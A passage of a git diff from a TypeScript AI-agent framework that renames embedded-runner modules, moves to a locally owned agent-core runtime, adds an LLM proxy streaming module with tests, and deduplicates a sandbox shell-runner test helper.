runtimeHandle: params.providerRuntimeHandle, @@ -126,7 +133,7 @@ export function buildAgentRuntimeDeliveryPlan( export function buildAgentRuntimeOutcomePlan(): AgentRuntimeOutcomePlan { return { - classifyRunResult: classifyEmbeddedPiRunResultForModelFallback, + classifyRunResult: classifyEmbeddedAgentRunResultForModelFallback, }; } @@ -147,6 +154,7 @@ export function buildAgentRuntimePlan(params: BuildAgentRuntimePlanParams): Agen }; const providerRuntimeHandleForPlugins = resolveProviderRuntimeHandleForPlugins({ provider: params.provider, + modelId: params.modelId, config, workspaceDir: params.workspaceDir, runtimeHandle: params.providerRuntimeHandle, diff --git a/src/agents/runtime-plan/tools.diagnostics.test.ts b/src/agents/runtime-plan/tools.diagnostics.test.ts index 5b243f26f61..49b495cc0c0 100644 --- a/src/agents/runtime-plan/tools.diagnostics.test.ts +++ b/src/agents/runtime-plan/tools.diagnostics.test.ts @@ -5,7 +5,7 @@ const mocks = vi.hoisted(() => ({ normalizeProviderToolSchemas: vi.fn((params: { tools: unknown[] }) => params.tools), })); -vi.mock("../pi-embedded-runner/tool-schema-runtime.js", () => ({ +vi.mock("../embedded-agent-runner/tool-schema-runtime.js", () => ({ logProviderToolSchemaDiagnostics: mocks.logProviderToolSchemaDiagnostics, normalizeProviderToolSchemas: mocks.normalizeProviderToolSchemas, })); diff --git a/src/agents/runtime-plan/tools.test.ts b/src/agents/runtime-plan/tools.test.ts index 12b48cdce22..cb634cabeb7 100644 --- a/src/agents/runtime-plan/tools.test.ts +++ b/src/agents/runtime-plan/tools.test.ts @@ -1,4 +1,4 @@ -import type { AgentTool } from "@earendil-works/pi-agent-core"; +import type { AgentTool } from "openclaw/plugin-sdk/agent-core"; import { createNativeOpenAIResponsesModel, createParameterFreeTool, @@ -13,7 +13,7 @@ const mocks = vi.hoisted(() => ({ normalizeProviderToolSchemas: vi.fn(), })); -vi.mock("../pi-embedded-runner/tool-schema-runtime.js", () => ({ +vi.mock("../embedded-agent-runner/tool-schema-runtime.js", () => ({ logProviderToolSchemaDiagnostics: mocks.logProviderToolSchemaDiagnostics, normalizeProviderToolSchemas: mocks.normalizeProviderToolSchemas, })); diff --git a/src/agents/runtime-plan/tools.ts b/src/agents/runtime-plan/tools.ts index 824b9252920..ed50e192408 100644 --- a/src/agents/runtime-plan/tools.ts +++ b/src/agents/runtime-plan/tools.ts @@ -1,11 +1,11 @@ -import type { AgentTool } from "@earendil-works/pi-agent-core"; import type { TSchema } from "typebox"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; import type { ProviderRuntimeModel } from "../../plugins/provider-runtime-model.types.js"; import { logProviderToolSchemaDiagnostics, normalizeProviderToolSchemas, -} from "../pi-embedded-runner/tool-schema-runtime.js"; +} from "../embedded-agent-runner/tool-schema-runtime.js"; +import type { AgentTool } from "../runtime/index.js"; import type { AgentRuntimePlan } from "./types.js"; type AgentRuntimeToolPolicyParams = { diff --git a/src/agents/runtime-plan/types.compat.test.ts b/src/agents/runtime-plan/types.compat.test.ts index 725a6f5e6fc..069d9a89f7b 100644 --- a/src/agents/runtime-plan/types.compat.test.ts +++ b/src/agents/runtime-plan/types.compat.test.ts @@ -1,7 +1,7 @@ import { describe, expectTypeOf, it } from "vitest"; import type { ReplyPayload } from "../../auto-reply/reply-payload.js"; import type { ThinkLevel } from "../../auto-reply/thinking.js"; -import type { FailoverReason } from "../pi-embedded-helpers/types.js"; +import type { FailoverReason } from "../embedded-agent-helpers/types.js"; import type { PromptMode } from "../system-prompt.types.js"; import type { buildAgentRuntimeDeliveryPlan, buildAgentRuntimePlan } from "./build.js"; import type { diff --git a/src/agents/runtime-plan/types.test.ts b/src/agents/runtime-plan/types.test.ts index 5b011239979..234d490867c 100644 --- a/src/agents/runtime-plan/types.test.ts +++ b/src/agents/runtime-plan/types.test.ts @@ -8,7 +8,7 @@ const concreteRuntimePolicyImportPatterns = [ /from\s+["'][^"']*auto-reply(?:\/|\.js|["'])/, /from\s+["'](?:[^"']*\/)?config(?:\/|\.js|["'])/, /from\s+["'](?:[^"']*\/)?plugins(?:\/|\.js|["'])/, - /from\s+["'][^"']*pi-embedded-/, + /from\s+["'][^"']*embedded-agent-/, /from\s+["'][^"']*transcript-policy(?:\.[^/"']+)?(?:\/|\.js|["'])/, /from\s+["'][^"']*system-prompt(?:\.[^/"']+)?(?:\/|\.js|["'])/, ]; diff --git a/src/agents/runtime-plan/types.ts b/src/agents/runtime-plan/types.ts index 115074bcea3..66ced1ec175 100644 --- a/src/agents/runtime-plan/types.ts +++ b/src/agents/runtime-plan/types.ts @@ -1,5 +1,5 @@ -import type { AgentTool } from "@earendil-works/pi-agent-core"; import type { TSchema } from "typebox"; +import type { AgentTool } from "../runtime/index.js"; export type AgentRuntimeTransport = "sse" | "websocket" | "auto"; @@ -76,7 +76,6 @@ export type AgentRuntimeProviderHandle = { workspaceDir?: string; env?: NodeJS.ProcessEnv; applyAutoEnable?: boolean; - bundledProviderAllowlistCompat?: boolean; bundledProviderVitestCompat?: boolean; }; diff --git a/src/agents/runtime/index.ts b/src/agents/runtime/index.ts new file mode 100644 index 00000000000..3790410510d --- /dev/null +++ b/src/agents/runtime/index.ts @@ -0,0 +1,23 @@ +import { + Agent as CoreAgent, + type AgentOptions as CoreAgentOptions, +} from "../../../packages/agent-core/src/agent.js"; +import type { CompleteSimpleFn, StreamFn } from "../../../packages/agent-core/src/llm.js"; +import type { AgentCoreRuntimeDeps } from "../../../packages/agent-core/src/runtime-deps.js"; +import { completeSimple, streamSimple } from "../../plugin-sdk/llm.js"; + +export const openClawAgentCoreRuntime = { + completeSimple: completeSimple as unknown as CompleteSimpleFn, + streamSimple: streamSimple as unknown as StreamFn, +} satisfies AgentCoreRuntimeDeps; + +export class Agent extends CoreAgent { + constructor(options: CoreAgentOptions = {}) { + super({ runtime: openClawAgentCoreRuntime, ...options }); + } +} + +// OpenClaw-owned reusable agent core +export * from "../../../packages/agent-core/src/index.js"; +// Proxy utilities +export * from "./proxy.js"; diff --git a/src/agents/runtime/proxy.test.ts b/src/agents/runtime/proxy.test.ts new file mode 100644 index 00000000000..4f673ea83c9 --- /dev/null +++ b/src/agents/runtime/proxy.test.ts @@ -0,0 +1,108 @@ +import { afterEach, describe, expect, it, vi } from "vitest"; +import type { Context, Model, Usage } from "../../llm/types.js"; +import { streamProxy } from "./proxy.js"; + +const usage: Usage = { + input: 1, + output: 2, + cacheRead: 0, + cacheWrite: 0, + totalTokens: 3, + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, +}; + +const model: Model = { + id: "test-model", + name: "Test Model", + provider: "test", + api: "openai-responses", + baseUrl: "https://example.test", + reasoning: false, + input: ["text"], + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, + contextWindow: 1024, + maxTokens: 1024, +}; + +const context: Context = { + messages: [{ role: "user", content: "hello", timestamp: 1 }], +}; + +function responseFromText(text: string): Response { + return new Response( + new ReadableStream({ + start(controller) { + controller.enqueue(new TextEncoder().encode(text)); + controller.close(); + }, + }), + { status: 200 }, + ); +} + +describe("streamProxy", () => { + afterEach(() => { + vi.unstubAllGlobals(); + }); + + it("flushes a final SSE frame without a trailing newline", async () => { + const fetchMock = vi.fn(async (_input: RequestInfo | URL, _init?: RequestInit) => + responseFromText( + `data: ${JSON.stringify({ + type: "done", + reason: "stop", + usage, + })}`, + ), + ); + vi.stubGlobal("fetch", fetchMock); + + const options = { + authToken: "token", + headers: { Authorization: "Bearer upstream", "x-api-key": "secret" }, + proxyUrl: "https://proxy.example", + }; + const stream = streamProxy(model, context, options); + const events = []; + for await (const event of stream) { + events.push(event); + } + + expect(events.at(-1)?.type).toBe("done"); + await expect(stream.result()).resolves.toMatchObject({ + role: "assistant", + stopReason: "stop", + usage, + }); + const rawBody = fetchMock.mock.calls[0]?.[1]?.body; + expect(typeof rawBody).toBe("string"); + const body = JSON.parse(rawBody as string) as { + model?: { headers?: unknown }; + options?: { headers?: unknown }; + }; + expect(body.options).not.toHaveProperty("headers"); + expect(body.model).not.toHaveProperty("headers"); + }); + + it("returns an error result when EOF arrives without a terminal event", async () => { + vi.stubGlobal( + "fetch", + vi.fn(async () => responseFromText(`data: ${JSON.stringify({ type: "start" })}`)), + ); + + const stream = streamProxy(model, context, { + authToken: "token", + proxyUrl: "https://proxy.example", + }); + const events = []; + for await (const event of stream) { + events.push(event); + } + + expect(events.at(-1)?.type).toBe("error"); + await expect(stream.result()).resolves.toMatchObject({ + stopReason: "error", + errorMessage: "Proxy stream ended before terminal event", + }); + }); +}); diff --git a/src/agents/runtime/proxy.ts b/src/agents/runtime/proxy.ts new file mode 100644 index 00000000000..ff09f208cba --- /dev/null +++ b/src/agents/runtime/proxy.ts @@ -0,0 +1,399 @@ +/** + * Proxy stream function for apps that route LLM calls through a server. + * The server manages auth and proxies requests to LLM providers. + */ + +// Internal import for JSON parsing utility +import { + type AssistantMessage, + type AssistantMessageEvent, + type Context, + type Model, + type SimpleStreamOptions, + type StopReason, + type ToolCall, +} from "../../llm/types.js"; +import { EventStream } from "../../llm/utils/event-stream.js"; +import { parseStreamingJson } from "../../llm/utils/json-parse.js"; + +type StreamingToolCall = ToolCall & { partialJson?: string }; + +// Create stream class matching ProxyMessageEventStream +class ProxyMessageEventStream extends EventStream { + constructor() { + super( + (event) => event.type === "done" || event.type === "error", + (event) => { + if (event.type === "done") { + return event.message; + } + if (event.type === "error") { + return event.error; + } + throw new Error("Unexpected event type"); + }, + ); + } +} + +/** + * Proxy event types - server sends these with partial field stripped to reduce bandwidth. + */ +export type ProxyAssistantMessageEvent = + | { type: "start" } + | { type: "text_start"; contentIndex: number } + | { type: "text_delta"; contentIndex: number; delta: string } + | { type: "text_end"; contentIndex: number; contentSignature?: string } + | { type: "thinking_start"; contentIndex: number } + | { type: "thinking_delta"; contentIndex: number; delta: string } + | { type: "thinking_end"; contentIndex: number; contentSignature?: string } + | { type: "toolcall_start"; contentIndex: number; id: string; toolName: string } + | { type: "toolcall_delta"; contentIndex: number; delta: string } + | { type: "toolcall_end"; contentIndex: number } + | { + type: "done"; + reason: Extract; + usage: AssistantMessage["usage"]; + } + | { + type: "error"; + reason: Extract; + errorMessage?: string; + usage: AssistantMessage["usage"]; + }; + +type ProxySerializableStreamOptions = Pick< + SimpleStreamOptions, + | "temperature" + | "maxTokens" + | "reasoning" + | "cacheRetention" + | "sessionId" + | "metadata" + | "transport" + | "thinkingBudgets" + | "maxRetryDelayMs" +>; + +export interface ProxyStreamOptions extends ProxySerializableStreamOptions { + /** Local abort signal for the proxy request */ + signal?: AbortSignal; + /** Auth token for the proxy server */ + authToken: string; + /** Proxy server URL (e.g., "https://genai.example.com") */ + proxyUrl: string; +} + +/** + * Stream function that proxies through a server instead of calling LLM providers directly. + * The server strips the partial field from delta events to reduce bandwidth. + * We reconstruct the partial message client-side. + * + * Use this as the `streamFn` option when creating an Agent that needs to go through a proxy. + * + * @example + * ```typescript + * const agent = new Agent({ + * streamFn: (model, context, options) => + * streamProxy(model, context, { + * ...options, + * authToken: await getAuthToken(), + * proxyUrl: "https://genai.example.com", + * }), + * }); + * ``` + */ +function buildProxyRequestOptions(options: ProxyStreamOptions): ProxySerializableStreamOptions { + return { + temperature: options.temperature, + maxTokens: options.maxTokens, + reasoning: options.reasoning, + cacheRetention: options.cacheRetention, + sessionId: options.sessionId, + metadata: options.metadata, + transport: options.transport, + thinkingBudgets: options.thinkingBudgets, + maxRetryDelayMs: options.maxRetryDelayMs, + }; +} + +function sanitizeProxyModel(model: Model): Model { + const { headers: _headers, ...safeModel } = model; + return safeModel as Model; +} + +export function streamProxy( + model: Model, + context: Context, + options: ProxyStreamOptions, +): ProxyMessageEventStream { + const stream = new ProxyMessageEventStream(); + + void (async () => { + // Initialize the partial message that we'll build up from events + const partial: AssistantMessage = { + role: "assistant", + stopReason: "stop", + content: [], + api: model.api, + provider: model.provider, + model: model.id, + usage: { + input: 0, + output: 0, + cacheRead: 0, + cacheWrite: 0, + totalTokens: 0, + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, + }, + timestamp: Date.now(), + }; + + let reader: ReadableStreamDefaultReader | undefined; + + const abortHandler = () => { + if (reader) { + reader.cancel("Request aborted by user").catch(() => {}); + } + }; + + if (options.signal) { + options.signal.addEventListener("abort", abortHandler); + } + + try { + const response = await fetch(`${options.proxyUrl}/api/stream`, { + method: "POST", + headers: { + Authorization: `Bearer ${options.authToken}`, + "Content-Type": "application/json", + }, + body: JSON.stringify({ + model: sanitizeProxyModel(model), + context, + options: buildProxyRequestOptions(options), + }), + signal: options.signal, + }); + + if (!response.ok) { + let errorMessage = `Proxy error: ${response.status} ${response.statusText}`; + try { + const errorData = (await response.json()) as { error?: string }; + if (errorData.error) { + errorMessage = `Proxy error: ${errorData.error}`; + } + } catch { + // Couldn't parse error response + } + throw new Error(errorMessage); + } + + reader = response.body!.getReader(); + const decoder = new TextDecoder(); + let buffer = ""; + let terminalEventSeen = false; + + const processSseLine = (line: string) => { + if (!line.startsWith("data: ")) { + return; + } + const data = line.slice(6).trim(); + if (!data) { + return; + } + const proxyEvent = JSON.parse(data) as ProxyAssistantMessageEvent; + const event = processProxyEvent(proxyEvent, partial); + if (!event) { + return; + } + terminalEventSeen = event.type === "done" || event.type === "error"; + stream.push(event); + }; + + while (true) { + const { done, value } = await reader.read(); + if (done) { + break; + } + + if (options.signal?.aborted) { + throw new Error("Request aborted by user"); + } + + buffer += decoder.decode(value, { stream: true }); + const lines = buffer.split("\n"); + buffer = lines.pop() || ""; + + for (const line of lines) { + processSseLine(line); + } + } + + if (options.signal?.aborted) { + throw new Error("Request aborted by user"); + } + buffer += decoder.decode(); + if (buffer.trim()) { + processSseLine(buffer); + } + if (!terminalEventSeen) { + throw new Error("Proxy stream ended before terminal event"); + } + + stream.end(); + } catch (error) { + const errorMessage = error instanceof Error ? error.message : String(error); + const reason = options.signal?.aborted ? "aborted" : "error"; + partial.stopReason = reason; + partial.errorMessage = errorMessage; + stream.push({ + type: "error", + reason, + error: partial, + }); + stream.end(); + } finally { + if (options.signal) { + options.signal.removeEventListener("abort", abortHandler); + } + } + })(); + + return stream; +} + +/** + * Process a proxy event and update the partial message. + */ +function processProxyEvent( + proxyEvent: ProxyAssistantMessageEvent, + partial: AssistantMessage, +): AssistantMessageEvent | undefined { + switch (proxyEvent.type) { + case "start": + return { type: "start", partial }; + + case "text_start": + partial.content[proxyEvent.contentIndex] = { type: "text", text: "" }; + return { type: "text_start", contentIndex: proxyEvent.contentIndex, partial }; + + case "text_delta": { + const content = partial.content[proxyEvent.contentIndex]; + if (content?.type === "text") { + content.text += proxyEvent.delta; + return { + type: "text_delta", + contentIndex: proxyEvent.contentIndex, + delta: proxyEvent.delta, + partial, + }; + } + throw new Error("Received text_delta for non-text content"); + } + + case "text_end": { + const content = partial.content[proxyEvent.contentIndex]; + if (content?.type === "text") { + content.textSignature = proxyEvent.contentSignature; + return { + type: "text_end", + contentIndex: proxyEvent.contentIndex, + content: content.text, + partial, + }; + } + throw new Error("Received text_end for non-text content"); + } + + case "thinking_start": + partial.content[proxyEvent.contentIndex] = { type: "thinking", thinking: "" }; + return { type: "thinking_start", contentIndex: proxyEvent.contentIndex, partial }; + + case "thinking_delta": { + const content = partial.content[proxyEvent.contentIndex]; + if (content?.type === "thinking") { + content.thinking += proxyEvent.delta; + return { + type: "thinking_delta", + contentIndex: proxyEvent.contentIndex, + delta: proxyEvent.delta, + partial, + }; + } + throw new Error("Received thinking_delta for non-thinking content"); + } + + case "thinking_end": { + const content = partial.content[proxyEvent.contentIndex]; + if (content?.type === "thinking") { + content.thinkingSignature = proxyEvent.contentSignature; + return { + type: "thinking_end", + contentIndex: proxyEvent.contentIndex, + content: content.thinking, + partial, + }; + } + throw new Error("Received thinking_end for non-thinking content"); + } + + case "toolcall_start": + partial.content[proxyEvent.contentIndex] = { + type: "toolCall", + id: proxyEvent.id, + name: proxyEvent.toolName, + arguments: {}, + partialJson: "", + } satisfies ToolCall & { partialJson: string } as ToolCall; + return { type: "toolcall_start", contentIndex: proxyEvent.contentIndex, partial }; + + case "toolcall_delta": { + const content = partial.content[proxyEvent.contentIndex]; + if (content?.type === "toolCall") { + const streamingContent = content as StreamingToolCall; + streamingContent.partialJson = `${streamingContent.partialJson ?? ""}${proxyEvent.delta}`; + content.arguments = parseStreamingJson(streamingContent.partialJson) || {}; + partial.content[proxyEvent.contentIndex] = { ...content }; // Trigger reactivity + return { + type: "toolcall_delta", + contentIndex: proxyEvent.contentIndex, + delta: proxyEvent.delta, + partial, + }; + } + throw new Error("Received toolcall_delta for non-toolCall content"); + } + + case "toolcall_end": { + const content = partial.content[proxyEvent.contentIndex]; + if (content?.type === "toolCall") { + delete (content as StreamingToolCall).partialJson; + return { + type: "toolcall_end", + contentIndex: proxyEvent.contentIndex, + toolCall: content, + partial, + }; + } + return undefined; + } + + case "done": + partial.stopReason = proxyEvent.reason; + partial.usage = proxyEvent.usage; + return { type: "done", reason: proxyEvent.reason, message: partial }; + + case "error": + partial.stopReason = proxyEvent.reason; + partial.errorMessage = proxyEvent.errorMessage; + partial.usage = proxyEvent.usage; + return { type: "error", reason: proxyEvent.reason, error: partial }; + + default: { + proxyEvent satisfies never; + console.warn(`Unhandled proxy event type: ${(proxyEvent as { type?: string }).type}`); + return undefined; + } + } +} diff --git a/src/agents/sandbox-paths.windows-drive-resolve.test.ts b/src/agents/sandbox-paths.windows-drive-resolve.test.ts index 2b5caac1802..4af1ce9c275 100644 --- a/src/agents/sandbox-paths.windows-drive-resolve.test.ts +++ b/src/agents/sandbox-paths.windows-drive-resolve.test.ts @@ -1,6 +1,6 @@ import path from "node:path"; import { describe, expect, it } from "vitest"; -import { resolveToolPathAgainstWorkspaceRoot } from "./pi-tools.read.js"; +import { resolveToolPathAgainstWorkspaceRoot } from "./agent-tools.read.js"; import { resolveSandboxInputPath } from "./sandbox-paths.js"; describe("resolveSandboxInputPath (Windows drive paths under POSIX rules)", () => { diff --git a/src/agents/sandbox-tool-policy.test.ts b/src/agents/sandbox-tool-policy.test.ts index 9360e6bf30b..1a44ac80541 100644 --- a/src/agents/sandbox-tool-policy.test.ts +++ b/src/agents/sandbox-tool-policy.test.ts @@ -1,6 +1,6 @@ import { describe, expect, it } from "vitest"; import type { OpenClawConfig } from "../config/config.js"; -import { resolveEffectiveToolPolicy } from "./pi-tools.policy.js"; +import { resolveEffectiveToolPolicy } from "./agent-tools.policy.js"; import { pickSandboxToolPolicy } from "./sandbox-tool-policy.js"; import { resolveEffectiveToolFsRootExpansionAllowed } from "./tool-fs-policy.js"; diff --git a/src/agents/sandbox/workspace-skills-bridge-readonly.test.ts b/src/agents/sandbox/workspace-skills-bridge-readonly.test.ts index 8f48d3aa00d..c2bb8dcce5e 100644 --- a/src/agents/sandbox/workspace-skills-bridge-readonly.test.ts +++ b/src/agents/sandbox/workspace-skills-bridge-readonly.test.ts @@ -5,7 +5,37 @@ import { describe, expect, it } from "vitest"; import { SANDBOX_PINNED_MUTATION_PYTHON } from "./fs-bridge-mutation-helper.js"; import { createSandbox, withTempDir } from "./fs-bridge.test-helpers.js"; import { buildSandboxFsMounts, resolveSandboxFsPathWithMounts } from "./fs-paths.js"; -import { createRemoteShellSandboxFsBridge } from "./remote-fs-bridge.js"; +import { + createRemoteShellSandboxFsBridge, + type RemoteShellSandboxHandle, +} from "./remote-fs-bridge.js"; + +const runRemoteShellScript: RemoteShellSandboxHandle["runRemoteShellScript"] = async (command) => { + const result = command.script.includes('python3 /dev/fd/3 "$@" 3<<') + ? spawnSync("python3", ["-c", SANDBOX_PINNED_MUTATION_PYTHON, ...(command.args ?? [])], { + input: command.stdin, + encoding: "buffer", + stdio: ["pipe", "pipe", "pipe"], + }) + : spawnSync("sh", ["-c", command.script, "openclaw-test", ...(command.args ?? [])], { + input: command.stdin, + encoding: "buffer", + stdio: ["pipe", "pipe", "pipe"], + }); + const stdout = Buffer.isBuffer(result.stdout) ? result.stdout : Buffer.from(result.stdout ?? []); + const stderr = Buffer.isBuffer(result.stderr) ? result.stderr : Buffer.from(result.stderr ?? []); + const code = result.status ?? (result.signal ? 128 : 1); + if (result.error) { + throw result.error; + } + if (code !== 0 && !command.allowFailure) { + throw Object.assign( + new Error(stderr.toString("utf8").trim() || `shell exited with code ${code}`), + { code, stdout, stderr }, + ); + } + return { stdout, stderr, code }; +}; describe("workspace skills bridge mount policy", () => { it("resolves workspace skill roots as read-only", async () => { @@ -48,44 +78,7 @@ describe("workspace skills bridge mount policy", () => { runtime: { remoteWorkspaceDir: canonicalWorkspaceDir, remoteAgentWorkspaceDir: canonicalWorkspaceDir, - runRemoteShellScript: async (command) => { - const result = command.script.includes('python3 /dev/fd/3 "$@" 3<<') - ? spawnSync( - "python3", - ["-c", SANDBOX_PINNED_MUTATION_PYTHON, ...(command.args ?? [])], - { - input: command.stdin, - encoding: "buffer", - stdio: ["pipe", "pipe", "pipe"], - }, - ) - : spawnSync( - "sh", - ["-c", command.script, "openclaw-test", ...(command.args ?? [])], - { - input: command.stdin, - encoding: "buffer", - stdio: ["pipe", "pipe", "pipe"], - }, - ); - const stdout = Buffer.isBuffer(result.stdout) - ? result.stdout - : Buffer.from(result.stdout ?? []); - const stderr = Buffer.isBuffer(result.stderr) - ? result.stderr - : Buffer.from(result.stderr ?? []); - const code = result.status ?? (result.signal ? 128 : 1); - if (result.error) { - throw result.error; - } - if (code !== 0 && !command.allowFailure) { - throw Object.assign( - new Error(stderr.toString("utf8").trim() || `shell exited with code ${code}`), - { code, stdout, stderr }, - ); - } - return { stdout, stderr, code }; - }, + runRemoteShellScript, }, }); @@ -116,44 +109,7 @@ describe("workspace skills bridge mount policy", () => { runtime: { remoteWorkspaceDir: canonicalRemoteWorkspaceDir, remoteAgentWorkspaceDir: canonicalRemoteWorkspaceDir, - runRemoteShellScript: async (command) => { - const result = command.script.includes('python3 /dev/fd/3 "$@" 3<<') - ? spawnSync( - "python3", - ["-c", SANDBOX_PINNED_MUTATION_PYTHON, ...(command.args ?? [])], - { - input: command.stdin, - encoding: "buffer", - stdio: ["pipe", "pipe", "pipe"], - }, - ) - : spawnSync( - "sh", - ["-c", command.script, "openclaw-test", ...(command.args ?? [])], - { - input: command.stdin, - encoding: "buffer", - stdio: ["pipe", "pipe", "pipe"], - }, - ); - const stdout = Buffer.isBuffer(result.stdout) - ? result.stdout - : Buffer.from(result.stdout ?? []); - const stderr = Buffer.isBuffer(result.stderr) - ? result.stderr - : Buffer.from(result.stderr ?? []); - const code = result.status ?? (result.signal ? 128 : 1); - if (result.error) { - throw result.error; - } - if (code !== 0 && !command.allowFailure) { - throw Object.assign( - new Error(stderr.toString("utf8").trim() || `shell exited with code ${code}`), - { code, stdout, stderr }, - ); - } - return { stdout, stderr, code }; - }, + runRemoteShellScript, }, }); @@ -191,44 +147,7 @@ describe("workspace skills bridge mount policy", () => { runtime: { remoteWorkspaceDir: canonicalRemoteWorkspaceDir, remoteAgentWorkspaceDir: canonicalRemoteWorkspaceDir, - runRemoteShellScript: async (command) => { - const result = command.script.includes('python3 /dev/fd/3 "$@" 3<<') - ? spawnSync( - "python3", - ["-c", SANDBOX_PINNED_MUTATION_PYTHON, ...(command.args ?? [])], - { - input: command.stdin, - encoding: "buffer", - stdio: ["pipe", "pipe", "pipe"], - }, - ) - : spawnSync( - "sh", - ["-c", command.script, "openclaw-test", ...(command.args ?? [])], - { - input: command.stdin, - encoding: "buffer", - stdio: ["pipe", "pipe", "pipe"], - }, - ); - const stdout = Buffer.isBuffer(result.stdout) - ? result.stdout - : Buffer.from(result.stdout ?? []); - const stderr = Buffer.isBuffer(result.stderr) - ? result.stderr - : Buffer.from(result.stderr ?? []); - const code = result.status ?? (result.signal ? 128 : 1); - if (result.error) { - throw result.error; - } - if (code !== 0 && !command.allowFailure) { - throw Object.assign( - new Error(stderr.toString("utf8").trim() || `shell exited with code ${code}`), - { code, stdout, stderr }, - ); - } - return { stdout, stderr, code }; - }, + runRemoteShellScript, }, }); @@ -265,44 +184,7 @@ describe("workspace skills bridge mount policy", () => { runtime: { remoteWorkspaceDir: canonicalRemoteWorkspaceDir, remoteAgentWorkspaceDir: canonicalRemoteWorkspaceDir, - runRemoteShellScript: async (command) => { - const result = command.script.includes('python3 /dev/fd/3 "$@" 3<<') - ? spawnSync( - "python3", - ["-c", SANDBOX_PINNED_MUTATION_PYTHON, ...(command.args ?? [])], - { - input: command.stdin, - encoding: "buffer", - stdio: ["pipe", "pipe", "pipe"], - }, - ) - : spawnSync( - "sh", - ["-c", command.script, "openclaw-test", ...(command.args ?? [])], - { - input: command.stdin, - encoding: "buffer", - stdio: ["pipe", "pipe", "pipe"], - }, - ); - const stdout = Buffer.isBuffer(result.stdout) - ? result.stdout - : Buffer.from(result.stdout ?? []); - const stderr = Buffer.isBuffer(result.stderr) - ? result.stderr - : Buffer.from(result.stderr ?? []); - const code = result.status ?? (result.signal ? 128 : 1); - if (result.error) { - throw result.error; - } - if (code !== 0 && !command.allowFailure) { - throw Object.assign( - new Error(stderr.toString("utf8").trim() || `shell exited with code ${code}`), - { code, stdout, stderr }, - ); - } - return { stdout, stderr, code }; - }, + runRemoteShellScript, }, }); diff --git a/src/agents/schema-normalization-runtime-contract.test.ts b/src/agents/schema-normalization-runtime-contract.test.ts index 54e5049035d..3832a5dc5c4 100644 --- a/src/agents/schema-normalization-runtime-contract.test.ts +++ b/src/agents/schema-normalization-runtime-contract.test.ts @@ -1,4 +1,4 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; import { createNativeOpenAIResponsesModel, createParameterFreeTool, @@ -7,9 +7,9 @@ import { normalizedParameterFreeSchema, } from "openclaw/plugin-sdk/agent-runtime-test-contracts"; import { describe, expect, it } from "vitest"; +import { createOpenAIResponsesContextManagementWrapper } from "../llm/providers/stream-wrappers/openai.js"; import { buildProviderToolCompatFamilyHooks } from "../plugin-sdk/provider-tools.js"; import { buildOpenAIResponsesParams } from "./openai-transport-stream.js"; -import { createOpenAIResponsesContextManagementWrapper } from "./pi-embedded-runner/openai-stream-wrappers.js"; describe("OpenAI transport schema normalization runtime contract", () => { it("keeps HTTP Responses strict decisions stable for the same tool set", () => { diff --git a/src/agents/session-file-repair.ts b/src/agents/session-file-repair.ts index 9b7e91b8676..d3ad5f5b972 100644 --- a/src/agents/session-file-repair.ts +++ b/src/agents/session-file-repair.ts @@ -1,8 +1,8 @@ import { randomUUID } from "node:crypto"; import fs from "node:fs/promises"; import path from "node:path"; -import type { AgentMessage } from "@earendil-works/pi-agent-core"; import { replaceFileAtomic } from "../infra/replace-file.js"; +import type { AgentMessage } from "./runtime/index.js"; import { makeMissingToolResult } from "./session-transcript-repair.js"; import { STREAM_ERROR_FALLBACK_TEXT } from "./stream-message-shared.js"; import { extractToolCallsFromAssistant, extractToolResultId } from "./tool-call-id.js"; diff --git a/src/agents/session-raw-append-message.ts b/src/agents/session-raw-append-message.ts index 4af375a377d..2fd1a260fa3 100644 --- a/src/agents/session-raw-append-message.ts +++ b/src/agents/session-raw-append-message.ts @@ -1,4 +1,4 @@ -import type { SessionManager } from "@earendil-works/pi-coding-agent"; +import type { SessionManager } from "./sessions/index.js"; const RAW_APPEND_MESSAGE = Symbol("openclaw.session.rawAppendMessage"); diff --git a/src/agents/session-runtime-compat.ts b/src/agents/session-runtime-compat.ts new file mode 100644 index 00000000000..6c2200cb83d --- /dev/null +++ b/src/agents/session-runtime-compat.ts @@ -0,0 +1,52 @@ +import type { SessionEntry } from "../config/sessions.js"; +import { normalizeLowercaseStringOrEmpty } from "../shared/string-coerce.js"; +import { isDefaultAgentRuntimeId } from "./agent-runtime-id.js"; +import { normalizeOptionalAgentRuntimeId } from "./agent-runtime-id.js"; +import { resolveCliRuntimeModelBackendBinding } from "./cli-backends.js"; +import { resolveContextConfigProviderForRuntime } from "./openai-codex-routing.js"; + +export type SessionRuntimeCompatEntry = Pick< + SessionEntry, + "agentHarnessId" | "agentRuntimeOverride" +>; + +export function resolvePersistedSessionRuntimeId( + entry?: SessionRuntimeCompatEntry, +): string | undefined { + const runtimeOverride = normalizeOptionalAgentRuntimeId(entry?.agentRuntimeOverride); + if (runtimeOverride && !isDefaultAgentRuntimeId(runtimeOverride)) { + return runtimeOverride; + } + return normalizeOptionalAgentRuntimeId(entry?.agentHarnessId); +} + +export function resolveSessionRuntimeOverrideForProvider(params: { + provider: string; + entry?: Pick; +}): string | undefined { + const provider = normalizeLowercaseStringOrEmpty(params.provider); + const runtime = normalizeOptionalAgentRuntimeId(params.entry?.agentRuntimeOverride); + if (!runtime || isDefaultAgentRuntimeId(runtime)) { + return undefined; + } + if (runtime === "openclaw") { + return "openclaw"; + } + if (provider === "openai" && runtime === "codex") { + return "codex"; + } + return resolveCliRuntimeModelBackendBinding({ provider, runtime })?.runtime; +} + +export function resolveContextConfigProviderForSessionRuntime(params: { + provider: string; + entry?: SessionRuntimeCompatEntry; +}): string | undefined { + const runtimeId = resolvePersistedSessionRuntimeId(params.entry); + return runtimeId + ? resolveContextConfigProviderForRuntime({ + provider: params.provider, + runtimeId, + }) + : undefined; +} diff --git a/src/agents/session-suspension.ts b/src/agents/session-suspension.ts index df8a8603e29..5b6905c8a05 100644 --- a/src/agents/session-suspension.ts +++ b/src/agents/session-suspension.ts @@ -6,7 +6,7 @@ import type { OpenClawConfig } from "../config/types.openclaw.js"; import { createSubsystemLogger } from "../logging/subsystem.js"; import { setCommandLaneConcurrency } from "../process/command-queue.js"; import { resolveStoredSessionKeyForSessionId } from "./command/session.js"; -import type { FailoverReason } from "./pi-embedded-helpers/types.js"; +import type { FailoverReason } from 